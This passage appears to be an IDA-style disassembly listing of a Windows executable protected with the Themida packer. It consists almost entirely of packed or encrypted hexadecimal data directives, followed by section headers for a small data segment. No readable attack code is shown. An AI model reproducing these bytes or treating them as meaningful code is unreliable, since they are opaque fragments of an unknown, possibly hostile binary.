0F9D6B70Fh, 66C0BF0Fh dd 8AD715BBh, 8FBB66E6h, 0EBB66C9h, 0D7BE66FCh, 68D0FCAh dd 0F000000h, 87h, 81666000h, 61E66DEEh, 0BE9FCh, 0CF380000h dd 3186FD1Ah, 89CE0EB3h, 12E915h, 0B13F0000h, 604CA9DBh dd 51D39635h, 0B0F0492Ah, 14B7C8D6h, 14E9F9h, 0B4750000h dd 0B32C96E4h, 0BAD2EB9Bh, 5FF4B5A4h, 13BC3F92h, 880F54A9h dd 3, 0FCAB70Fh, 0E8Ah, 9E900h, 64060000h, 9ABBE8DEh, 50850440h dd 0BE9h, 329B6C00h, 65762048h, 3D59ABDFh, 0BEC8815Ah dd 0F95A37B9h, 8E9h, 0CBCFCF00h, 0D9AE1265h, 59BBF54h dd 8166635Ah, 601C24DFh, 60C2BF0Fh, 10E9h, 7461DF00h, 0CED81118h dd 66F3FAF3h, 0A12F574Ch, 0AAD2810Dh, 6147AC07h, 64BE6661h dd 50D38B9Bh, 0FC78B5Bh, 0EF81F3BFh, 78507F25h, 438CF781h dd 8B6665B8h, 28E0FFEh, 8A000000h, 354AB9D4h, 0D18B137Bh dd 0E9CFBF0Fh, 5, 6E37A974h, 0FE8CDh, 0F4020000h, 58B9C9B2h dd 7F3ED737h, 69FEB321h, 1BD780B0h, 0E851575Eh, 0Bh, 5B92438Ah dd 0A49D403h, 5E608FEDh, 66F8595Fh, 0B060CB8Bh, 0B5606135h dd 0F8D78111h, 616B228Fh, 1F810Fh, 0E8600000h, 11h, 598B1A35h dd 58A516DDh db 53h, 0C2h word_584F4E dw 0C278h ; DATA XREF: ___:0042BEA8o dd 0C8E56EDFh, 8D0F59FCh, 0 dd 0F28B6661h, 0F0BA6650h, 0FF85B48h, 8BB2C3BFh, 0E960E58Ah dd 0Ah, 0E0E1B1C5h, 27530B03h, 8166652Eh, 6173FBCFh, 54E380FCh dd 38C0Fh, 0B70F0000h, 0CDF7BAC7h, 8E95518h, 4000000h dd 0A9B7C31Eh, 0B9E35500h, 28D26FB8h, 0BF0FCB8Ah, 0DBA66CBh dd 8F0FFC2Fh, 5, 0CFCBBBBBh, 0CE81663Dh, 8E0FDF0Ah, 2 dd 0E38048B6h, 0DB8166A0h, 0BE90631h, 0E000000h, 0E9B4282Bh dd 0B6671CE8h, 66572D89h, 586D49BBh, 8B1CBE60h, 8B614CE7h dd 10E9CAh, 1C900000h, 82F6B98Fh, 25280296h, 69E46D48h dd 0CC8AF72Eh, 5A91B456h, 0B880Fh, 6E90000h, 7C000000h dd 0E8CA5CB5h, 0FE9E7h, 0B8D90000h, 0BC67F2BAh, 0E5D9117Bh dd 374A9339h, 7FF781D9h, 53772263h, 0EE9h, 0AF9AB800h dd 0F92AE11Bh, 9133D8DCh, 5E9D6293h, 0E9F8D7B6h, 14h, 0BB2F9197h dd 3C2C1963h, 2F86C39Fh, 0EFEB36E6h, 5E8023BBh, 0BC98166h dd 18D0F95h, 0F5000000h, 12E8FAB5h, 32000000h, 554FF78Ah dd 6FE88208h, 0C86DE461h, 0E70D60F4h, 68A0F0Eh, 0F000000h dd 8Eh, 800F5800h, 3, 66CF8B66h, 0D58AD08Bh, 0A46053BEh dd 0C6816658h, 0C081E67Fh, 61B59010h, 0F6A9B866h, 27DAB866h dd 82E29ABAh, 0E6816679h, 5E99EB9h, 0AC000000h, 96191DB4h dd 3890F53h, 0F000000h, 0F5FF7BFh, 38Eh, 0DA8B6600h, 0EA8166F8h dd 0B9F908AFh, 792D0EABh, 5E8h, 0F5350900h, 0FCB54E03h dd 14E85Ah, 0CE6F0000h, 56A81B18h, 6F2DE421h, 2EF3C1Ch dd 129E9C7h, 0A4BEA901h, 58072D51h, 0E1816660h, 0EE9BC46h dd 0B4000000h, 0E15118h, 6606665Dh, 5D4F0FB9h, 10E861ABh dd 2E000000h, 81C67561h, 73519A52h, 0FDAC27B1h, 0F5568778h dd 6660F85Eh, 4BE4D981h, 61C0BF0Fh, 65D68166h, 0BCF180CAh dd 975ED181h, 830F5C3Fh, 3, 6677DA80h, 51BCB1B9h, 0FE8h dd 322CA700h, 0CC7AEBC3h, 0F2358D5h, 37AD0A09h, 6CEE8166h dd 665A599Ah, 93B1D981h, 0D4A7CE81h, 13E95D9Bh, 17000000h dd 6223FD39h, 1F1A610Dh, 9D937A80h, 0BDC2367Fh, 0BE66BF05h dd 0F53F0E5h, 68Bh, 0A9E88100h, 5E21422Fh, 3830Fh, 0B70F0000h dd 8E8DEh, 84F60000h, 96B73A9Dh, 0FE9B26Dh, 6000000h, 0B4899F42h dd 0E15118h, 6606665Dh, 0E95F0FB9h, 0Ch, 770C7F73h, 51CCB660h dd 9E16A4EDh, 95C28166h, 0BABCB14Bh, 4AB7322Ah, 66D18B66h dd 8F36CA81h, 8E8h, 0D6C2B900h, 9EEFA82Ah, 14E8606Ah, 6A000000h dd 0F035C2FEh, 74CA208Ch, 0BB048E2Bh, 0A91A63A6h, 5FA9BB6Dh dd 5A61C88Bh, 0F08BD98Bh, 1890F60h, 0F8000000h, 61C7BF0Fh dd 0F936EE80h, 0BA6678B6h, 0BF0F4935h, 1CD080C7h, 51F0BF0Fh dd 0FEBD1DBBh, 8C0F5E3Bh, 6, 65F9D881h, 0B966223Fh, 890F21A4h dd 10h, 8E852h, 1F0A0000h, 0ED0D36F0h, 5B5E2548h, 66FB8B66h dd 12E9DA8Bh, 0B8000000h, 4B9000FEh, 0CB27A6F7h, 7D26FB7Dh dd 3EDB50E8h, 0F5F9F91Bh, 0CB2E7CBFh, 44D68125h, 66069182h dd 0F89F76B8h, 38B0Fh, 0BF0F0000h, 81CF8BF7h, 15B200F2h dd 98B8666Ah, 12E953h, 0E2840000h, 8D3DAC67h, 60CF5E93h dd 0FEBE071Eh, 0CD67B9CEh, 89DE8166h, 5651577Eh, 665A595Bh dd 6534D081h, 13E9h, 68D17F00h, 0A3076C5h, 14CC0BBEh, 19E20E3Fh dd 939D1F4Dh, 0EE9h, 0BAB54A00h, 5EA2C24Dh, 9ADFC48h, 0B02E7378h dd 0C28B6655h, 7E8h, 663FFC00h, 1B2FF190h, 9E76BF66h, 4830F59h dd 57000000h, 0E95FD5B2h, 13h, 51C0CB2Ch, 9DB129F9h, 7B6D69C5h dd 0EA774680h, 81271B65h, 71CECFF6h, 0F695B91Ah, 8D0F2934h dd 3, 66F28B66h, 0B5FF93BFh, 8B666000h, 0C1B70FC6h, 4810F61h dd 66000000h, 81B945BBh, 836AF9F6h, 66F08A52h, 0F14BE281h dd 0BCC5BE66h, 81F95A53h, 3B3432C9h, 28A0F72h, 0B2000000h dd 668DB69Fh, 81C85CBFh, 0C775EBDFh, 58FC5074h, 0B588E381h dd 8B660A44h, 890F60F7h, 5, 0D18BCBFh, 9E968h, 2CF40000h dd 1C18B909h, 615EF077h, 9E9h, 0FB2EA500h, 36FD0AB9h, 8BB85570h dd 6654E8D2h, 0B866F28Bh, 0BF0F9BA2h, 0A0B760F7h, 0DE961h dd 25130000h, 0A0195FC1h, 0DFCE2C63h, 6646F3DAh, 0C9C6F081h dd 6850Fh, 0D7810000h, 1115A1BDh, 0E9F18B66h, 7, 6DD22492h dd 520EE036h, 58D2B70Fh, 9E62BAF5h, 0AE971C8h, 0E1000000h dd 8EE0B65Ch, 0E927E473h, 33F3BF49h, 0F604A8Ah, 7E9F8B7h dd 0CA000000h, 0ED502A6Eh, 8061776Dh, 0BF0FB9ECh, 7E8CAh dd 92FF0000h, 83ABD99Fh, 81665BD5h, 0B5C1D6F3h, 0E78166B9h dd 860FA7A3h, 3, 0E9C88B66h, 13h, 0C2AECD37h, 456E7F85h dd 254467CAh, 0C63062ECh, 0E98F4756h, 13h, 11E0DF74h, 0B55AA670h dd 97EA394Ah, 9E5EC052h, 0E9709ACBh, 0Ch, 0DB13866Fh, 6ED0EC93h dd 0DAB6C610h, 44C0BF66h, 0E9DBBF0Fh, 0Bh, 26E97AB6h, 3A57B103h dd 8B23ABB9h, 810FD6h, 0F000000h, 0E380D8B7h, 0B5F86049h dd 80F96107h, 0B9B37CDBh, 0FC60FA8Bh, 142BB866h, 99D8B861h dd 8B665D7Fh, 8BC78BCAh, 18C0FD1h, 0F5000000h, 5880Fh dd 43B80000h, 0E9108A14h, 14h, 770F51DEh, 7AE2C96Dh, 2BAE147Dh dd 43015B88h, 0E0DE2CD3h, 0E893B6FCh, 6, 0B0F705C5h, 0B70FBF37h dd 11E85AFAh, 66000000h, 189638A7h, 7B163B93h, 0E8ACA4D3h dd 304E84E9h, 6850Fh, 0F3810000h, 74EA4F1Ah, 0AE85Fh, 42B30000h dd 0B4D4404Ah, 987D16E5h, 14E8h, 95F01400h, 0D75DEFBh dd 0B5C47D2Ah, 0B2E37094h, 0C38205CEh, 59F18B3Bh, 0F78B665Ah dd 66D3BF0Fh, 7F06E181h, 8B6682B1h, 60F5FCF2h, 0FD6B70Fh dd 0A8Ah, 5E900h, 195B0000h, 6121E8B4h, 3CADBE66h, 0D080FA8Bh dd 81CE8BBAh, 4EF3AAD6h, 0C9EE8143h, 0E96DF817h, 0Fh, 7CCC7356h dd 76595286h, 446A5D5Ch, 0B48EF4FEh, 0F18B664Eh, 10880FF8h dd 60000000h, 9E9h, 0DB339A00h, 5D5E71F3h, 0E861AF64h dd 14h, 0E7B7418Ch, 0F4160A18h, 308F3DE6h, 2571688Dh, 48086BB7h dd 815BC68Bh, 0FB463FEEh, 4880F22h, 66000000h, 0E9F28DB8h dd 0Fh, 68E93469h, 0C229F84Dh, 78A87D66h, 0F827E88h, 683h dd 43D68100h, 814A54FEh, 1197C2C1h, 0B866F944h, 0E8F83370h dd 9, 0E6616122h, 2B12D040h, 0C9F3813Ch, 5A3AE6F0h, 16870Fh dd 11E90000h, 94000000h, 0B5917DB9h, 0AA33BBDFh, 206B6FB2h dd 2ACA5673h, 71A6B866h, 12C98166h, 6E952h, 58560000h dd 0C1B440EAh, 1810Fh, 66FC0000h, 850FF08Bh, 1, 11E9FCh dd 51990000h, 0CD5A8F0h, 0C137A2C5h, 43FF39F9h, 0E97C0E71h dd 14h, 54988F15h, 5DD34272h, 984A8AC7h, 58691649h, 0E0978807h dd 0E952F18Bh, 7, 0C8BD973Bh, 598443A4h, 0E94FCE80h, 0Bh dd 4CF741CCh, 5C6E6496h, 0E9857E15h, 9, 8A748BC7h, 130B4379h dd 10E8600Eh, 0EB000000h, 0ACA3B982h, 86483859h, 0AB2CEE96h dd 0E99131D4h, 13h, 0EA69C868h, 55512467h, 20E2BF3Ah, 0A8C64A40h dd 594256DBh, 6601B361h, 90F8C881h, 0FD2BF0Fh, 281h dd 8BF78B00h, 0CA8166D7h, 0FE94906h, 83000000h, 0AF2A074Ah dd 88BE09ABh, 0F5EE9174h, 5E9236Eh, 8B000000h, 79F9810Fh dd 0FE9h, 0E4C6DE00h, 0B2B5B248h, 190EC400h, 521C8521h dd 636CEE81h, 8D0F1798h, 4, 5659BE66h, 0E9C7BF0Fh, 14h dd 0F4F9D218h, 0D422B9A3h, 7EDE82EEh, 6939EB18h, 2838B969h dd 0EE9h, 807B6D00h, 65EA7746h, 0BEE6271Bh, 0E980124Fh dd 0Ch, 5B395D25h, 77F22A60h, 0D8AB80F6h, 8A0F99B2h, 5 dd 7FD5C2BEh, 62BE663Ah, 5E969h, 3FEC0000h, 0E9962596h dd 13h, 182AE61Bh, 0D9EECDF7h, 543E2A14h, 0FE09EB08h, 6690A9E7h dd 3083C381h, 0DBE48060h, 11F28166h, 8166612Ch, 0E94203E8h dd 14h, 9F3EF773h, 0FF2529D5h, 0F755AC9Fh, 0B00BE280h dd 0E2B3E57Bh, 38E0Fh, 0EB800000h, 0C18B663Fh, 18B0Fh dd 60F90000h, 6E952h, 861E0000h, 25A6A51Ch, 0DE95Fh, 0CAF80000h dd 24254CBCh, 81EA7B9Fh, 6170028Eh, 0B2BA66FCh, 0F2F3806Ah dd 8ACEED80h, 8E9D9h, 0DFD00000h, 731B26Ch, 0FE8991Bh dd 17000000h, 993D2055h, 390BD120h, 6FEBB6C9h, 8B664B4Ah dd 0FC525FC3h, 0C1B70F5Fh, 12E9h, 20561900h, 0A0C361B4h dd 89CFFDEDh, 78B73C04h, 0FDE9F61h, 0C981FFBFh, 16904033h dd 7ED78060h, 2810Fh, 0D88B0000h, 0EDC88161h, 0F4953BDh dd 0D48AF8B7h, 0FD6BF0Fh, 12E8F8B7h, 2E000000h, 0D60DE9D3h dd 1F79FE43h, 26F0AF29h, 63FF1914h, 31BB66FDh, 870F5F3Dh dd 5, 7EC18166h, 86F08139h, 5346335Bh, 0FE9h, 1BBD5000h dd 3AD1C1DFh, 996FD073h, 0DD4F8F82h, 6B65A25Fh, 7Eh dup(6B65A4B2h) dd 0D6C22071h, 29Eh dup(0D6C22070h), 0EBC22070h, 2Bh dup(0EB994BEEh) dd 545655EEh, 92h dup(5456540Ch), 0E69C540Ch, 139h dup(0E69CB68Ch) dd 29CB68Ch, 166h dup(27D6B11h), 267D6B11h, 145h dup(26EE4D02h) dd 0CCEE4D02h, 0C3Bh dup(0CCCCCCCCh), 0CCh, 1B2h dup(0) Themida_ ends ; Section 5. (virtual address 0018B000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0018B000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 58B000h align 2000h _idata2 ends end start